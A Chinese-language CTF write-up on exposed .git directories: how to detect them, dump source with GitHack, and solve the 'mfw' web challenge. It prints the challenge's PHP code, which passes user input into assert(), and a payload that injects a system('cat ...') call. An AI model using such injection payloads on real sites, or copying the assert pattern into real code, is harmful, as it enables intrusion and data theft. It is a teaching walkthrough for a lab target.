.git 文件泄露?
當在一個空目錄執行 git init 時,Git 會創建一個 .git 目錄。 這個目錄包含所有的 Git 存儲和操作的對象。 如果想備份或復制一個版本庫,只需把這個目錄拷貝至另一處就可以了
這是一種常見的安全漏洞,指的是網站的?.git
?目錄被意外暴露在公網上,導致攻擊者可以通過訪問?.git
?目錄獲取網站的源代碼、版本歷史、配置文件等敏感信息。這種漏洞通常是由于服務器配置不當或開發人員的疏忽導致的。
如何檢測?.git
?文件泄露?
-
手動檢測:
-
訪問?
http://example.com/.git/
,如果返回目錄列表或 200 狀態碼,則說明?.git
?目錄可能被泄露。
-
-
工具檢測:
使用工具自動檢測?.git
?目錄泄露,例如 GitHack,Gittools
?安裝使用GitHack
github上的githack可以把整個.git備份的文件下載下來。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夾下下載對應的文件,通過 zlib 解壓文件,按原始的目錄結構寫入源代碼
我是在kali中安裝使用的,下載鏈接
git clone https://github.com/BugScanTeam/GitHack
使用前先檢查python的版本,githack要在python2中使用,我的kali裝的時python3.9,但是kali本身有python2版本,使用命令
python2 GitHack.py 鏈接/.git
注意下載后文件夾會有一個GitHack文件,使用GitHack前先使用命令 cd GitHack
使用后在GitHack/dist中會有恢復完整的源代碼。
?攻防世界-WEB-mfw
啟動靶機后界面如圖
?查看源碼后發現注釋有提示 ?page=flag,嘗試后發現不行,然后有用dirsearch掃面
?發現了.git,嘗試后發現能成功訪問,可以證明是git文件泄露,然后用GitHack,payload:
python2 GitHack.py?My PHP Website/.git
先看flag.php文件
<?php
// TODO
// $FLAG = '';
?>
?啥也沒有
再查看index.php文件得到源碼
<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
<!DOCTYPE html>
<html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>>Home</li><li <?php if ($page == "about") { ?>class="active"<?php } ?>>About</li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>>Contact</li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>>My secrets</li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;?></div>
我們只需要看關鍵部分即可
<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
代碼先檢查url參數中是否有page參數,并將其賦值給$page,否則$page默認為home,然后再將$page拼接到%$file中
例:若$page=about,則$file=templates/about.php.
下面時對".."過濾防止目錄遍歷攻擊,
strpos
?是 PHP 的一個字符串函數,用于查找子字符串在字符串中的位置。如果file中含有".."會返回他的位置(從0開始)若返回的是4,則4===false為假,執行后面的die語句,程序結束。
若不含程序繼續執行,然后檢查$file是否存在,若不存在執行die語句程序結束。
assert
?的參數是一個字符串,PHP會將其作為代碼執行。
這就是突破口,利用這個構造payload
?page=').system("cat ./templates/flag.php");//?
拼接后的代碼為
assert("strpos('templates/').system("cat ./templates/flag.php");//?.php', '..') === false");
前面的strpos構成閉合并且為ture,然后執行后面的命令,命令后面的內容被注釋掉了不用管
得到flag